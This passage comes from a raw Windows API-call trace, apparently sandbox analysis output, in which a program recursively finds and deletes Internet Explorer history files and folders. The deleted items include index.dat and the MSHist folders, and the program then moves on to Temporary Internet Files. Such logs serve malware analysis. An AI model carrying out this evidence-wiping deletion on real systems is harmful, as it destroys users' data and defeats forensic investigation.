lpFindFileData=0x9a6e010*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb9b41ad0, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xb9b41ad0, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xb9b41ad0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHist012019060920190610", cAlternateFileName="MSHIST~1")) returned 0 [0096.248] FindClose (in: hFindFile=0x4466400 | out: hFindFile=0x4466400) returned 1 [0096.248] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0096.248] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fe70 | out: hHeap=0x9770000) returned 1 [0096.248] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fc60 | out: hHeap=0x9770000) returned 1 [0096.248] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5")) returned 0 [0096.248] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xc6a551a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc6a551a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0096.248] lstrlenW (lpString="Low") returned 3 [0096.248] PathCombineW (in: pszDest=0x9770cb0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History", pszFile="Low" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low" [0096.248] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 61 [0096.248] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9b6fc60 [0096.248] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x84) returned 0x9a6e990 [0096.248] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e010 [0096.248] PathCombineW (in: pszDest=0x9a6e990, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\*.*" [0096.248] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\*.*", lpFindFileData=0x9a6e010 | out: lpFindFileData=0x9a6e010*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xc6a551a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc6a551a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466400 [0096.249] FindNextFileW (in: hFindFile=0x4466400, lpFindFileData=0x9a6e010 | out: lpFindFileData=0x9a6e010*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xc6a551a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc6a551a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.249] FindNextFileW (in: hFindFile=0x4466400, lpFindFileData=0x9a6e010 | out: lpFindFileData=0x9a6e010*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xc6a551a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc6a551a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc6a551a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0096.249] lstrlenW (lpString="desktop.ini") returned 11 [0096.249] PathCombineW (in: pszDest=0x9b6fc60, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low", pszFile="desktop.ini" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\desktop.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\desktop.ini" [0096.249] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\desktop.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\low\\desktop.ini")) returned 1 [0096.307] FindNextFileW (in: hFindFile=0x4466400, lpFindFileData=0x9a6e010 | out: lpFindFileData=0x9a6e010*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x891c1ea0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0xba241920, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xba241920, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1 [0096.307] lstrlenW (lpString="History.IE5") returned 11 [0096.307] PathCombineW (in: pszDest=0x9b6fc60, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low", pszFile="History.IE5" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" [0096.307] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 73 [0096.307] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e450 [0096.307] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x9c) returned 0x9a6e660 [0096.307] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91840 [0096.307] PathCombineW (in: pszDest=0x9a6e660, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\*.*" [0096.308] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\*.*", lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x891c1ea0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0xba241920, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xba241920, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466d60 [0096.508] FindNextFileW (in: hFindFile=0x4466d60, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x891c1ea0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0xba241920, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xba241920, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.508] FindNextFileW (in: hFindFile=0x4466d60, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xc6a7b300, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc6a7b300, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc6a7b300, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0096.508] lstrlenW (lpString="desktop.ini") returned 11 [0096.508] PathCombineW (in: pszDest=0x9a6e450, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5", pszFile="desktop.ini" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\desktop.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\desktop.ini" [0096.508] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\desktop.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\desktop.ini")) returned 1 [0096.559] FindNextFileW (in: hFindFile=0x4466d60, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xc6aa1460, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc6aa1460, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0x9aa5a3b0, ftLastWriteTime.dwHighDateTime=0x1d2fb14, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0096.559] lstrlenW (lpString="index.dat") returned 9 [0096.559] PathCombineW (in: pszDest=0x9a6e450, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5", pszFile="index.dat" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat" [0096.559] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\index.dat")) returned 1 [0096.832] FindNextFileW (in: hFindFile=0x4466d60, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xba21b7c0, ftCreationTime.dwHighDateTime=0x1d2fb13, ftLastAccessTime.dwLowDateTime=0xba241920, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xba241920, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHist012017070320170710", cAlternateFileName="MSHIST~2")) returned 1 [0096.836] lstrlenW (lpString="MSHist012017070320170710") returned 24 [0096.836] PathCombineW (in: pszDest=0x9a6e450, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5", pszFile="MSHist012017070320170710" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710" [0096.837] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710") returned 98 [0096.837] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a91aa0 [0096.837] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xce) returned 0x9a91cb0 [0096.837] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91d90 [0096.837] PathCombineW (in: pszDest=0x9a91cb0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\*.*" [0096.841] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\*.*", lpFindFileData=0x9a91d90 | out: lpFindFileData=0x9a91d90*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xba21b7c0, ftCreationTime.dwHighDateTime=0x1d2fb13, ftLastAccessTime.dwLowDateTime=0xba241920, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xba241920, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466e20 [0096.853] FindNextFileW (in: hFindFile=0x4466e20, lpFindFileData=0x9a91d90 | out: lpFindFileData=0x9a91d90*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xba21b7c0, ftCreationTime.dwHighDateTime=0x1d2fb13, ftLastAccessTime.dwLowDateTime=0xba241920, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xba241920, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.853] FindNextFileW (in: hFindFile=0x4466e20, lpFindFileData=0x9a91d90 | out: lpFindFileData=0x9a91d90*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xba241920, ftCreationTime.dwHighDateTime=0x1d2fb13, ftLastAccessTime.dwLowDateTime=0xba241920, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb8480620, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0096.853] lstrlenW (lpString="index.dat") returned 9 [0096.853] PathCombineW (in: pszDest=0x9a91aa0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710", pszFile="index.dat" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\index.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\index.dat" [0096.853] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\mshist012017070320170710\\index.dat")) returned 1 [0096.942] FindNextFileW (in: hFindFile=0x4466e20, lpFindFileData=0x9a91d90 | out: lpFindFileData=0x9a91d90*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xba241920, ftCreationTime.dwHighDateTime=0x1d2fb13, ftLastAccessTime.dwLowDateTime=0xba241920, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb8480620, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0 [0096.944] FindClose (in: hFindFile=0x4466e20 | out: hFindFile=0x4466e20) returned 1 [0096.948] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91d90 | out: hHeap=0x9770000) returned 1 [0096.948] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91cb0 | out: hHeap=0x9770000) returned 1 [0096.950] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91aa0 | out: hHeap=0x9770000) returned 1 [0096.950] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070320170710" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\mshist012017070320170710")) returned 1 [0096.957] FindNextFileW (in: hFindFile=0x4466d60, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xba241920, ftCreationTime.dwHighDateTime=0x1d2fb13, ftLastAccessTime.dwLowDateTime=0xba241920, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xba241920, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHist012017071220170713", cAlternateFileName="MSHIST~1")) returned 1 [0096.957] lstrlenW (lpString="MSHist012017071220170713") returned 24 [0096.957] PathCombineW (in: pszDest=0x9a6e450, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5", pszFile="MSHist012017071220170713" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713" [0096.958] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned 98 [0096.960] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a91aa0 [0096.962] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xce) returned 0x9a91cb0 [0096.963] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91d90 [0096.964] PathCombineW (in: pszDest=0x9a91cb0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.*" [0096.966] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.*", lpFindFileData=0x9a91d90 | out: lpFindFileData=0x9a91d90*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xba241920, ftCreationTime.dwHighDateTime=0x1d2fb13, ftLastAccessTime.dwLowDateTime=0xba241920, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xba241920, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7202830 [0097.022] FindNextFileW (in: hFindFile=0x7202830, lpFindFileData=0x9a91d90 | out: lpFindFileData=0x9a91d90*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xba241920, ftCreationTime.dwHighDateTime=0x1d2fb13, ftLastAccessTime.dwLowDateTime=0xba241920, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xba241920, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.023] FindNextFileW (in: hFindFile=0x7202830, lpFindFileData=0x9a91d90 | out: lpFindFileData=0x9a91d90*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xba241920, ftCreationTime.dwHighDateTime=0x1d2fb13, ftLastAccessTime.dwLowDateTime=0xba241920, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb8480620, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0097.023] lstrlenW (lpString="index.dat") returned 9 [0097.023] PathCombineW (in: pszDest=0x9a91aa0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713", pszFile="index.dat" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\index.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\index.dat" [0097.023] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\mshist012017071220170713\\index.dat")) returned 1 [0097.070] FindNextFileW (in: hFindFile=0x7202830, lpFindFileData=0x9a91d90 | out: lpFindFileData=0x9a91d90*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xba241920, ftCreationTime.dwHighDateTime=0x1d2fb13, ftLastAccessTime.dwLowDateTime=0xba241920, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb8480620, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0 [0097.070] FindClose (in: hFindFile=0x7202830 | out: hFindFile=0x7202830) returned 1 [0097.070] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91d90 | out: hHeap=0x9770000) returned 1 [0097.070] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91cb0 | out: hHeap=0x9770000) returned 1 [0097.070] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91aa0 | out: hHeap=0x9770000) returned 1 [0097.070] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\mshist012017071220170713")) returned 1 [0097.070] FindNextFileW (in: hFindFile=0x4466d60, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xba241920, ftCreationTime.dwHighDateTime=0x1d2fb13, ftLastAccessTime.dwLowDateTime=0xba241920, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xba241920, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHist012017071220170713", cAlternateFileName="MSHIST~1")) returned 0 [0097.070] FindClose (in: hFindFile=0x4466d60 | out: hFindFile=0x4466d60) returned 1 [0097.070] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91840 | out: hHeap=0x9770000) returned 1 [0097.070] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e660 | out: hHeap=0x9770000) returned 1 [0097.070] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e450 | out: hHeap=0x9770000) returned 1 [0097.070] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5")) returned 1 [0097.117] FindNextFileW (in: hFindFile=0x4466400, lpFindFileData=0x9a6e010 | out: lpFindFileData=0x9a6e010*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x891c1ea0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0xba241920, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xba241920, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 0 [0097.118] FindClose (in: hFindFile=0x4466400 | out: hFindFile=0x4466400) returned 1 [0097.118] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0097.118] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0097.118] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fc60 | out: hHeap=0x9770000) returned 1 [0097.118] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\low")) returned 1 [0097.118] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xc6a551a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc6a551a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0097.118] FindClose (in: hFindFile=0x4466880 | out: hFindFile=0x4466880) returned 1 [0097.118] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fa00 | out: hHeap=0x9770000) returned 1 [0097.118] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770ec0 | out: hHeap=0x9770000) returned 1 [0097.118] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770cb0 | out: hHeap=0x9770000) returned 1 [0097.118] SHGetFolderPathW (in: hwnd=0x0, csidl=32, hToken=0x0, dwFlags=0x0, pszPath=0x9770a90 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files") returned 0x0 [0097.118] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files") returned 74 [0097.118] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e010 [0097.118] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x9e) returned 0x9a6e990 [0097.118] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9770cb0 [0097.118] PathCombineW (in: pszDest=0x9a6e990, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\*.*") 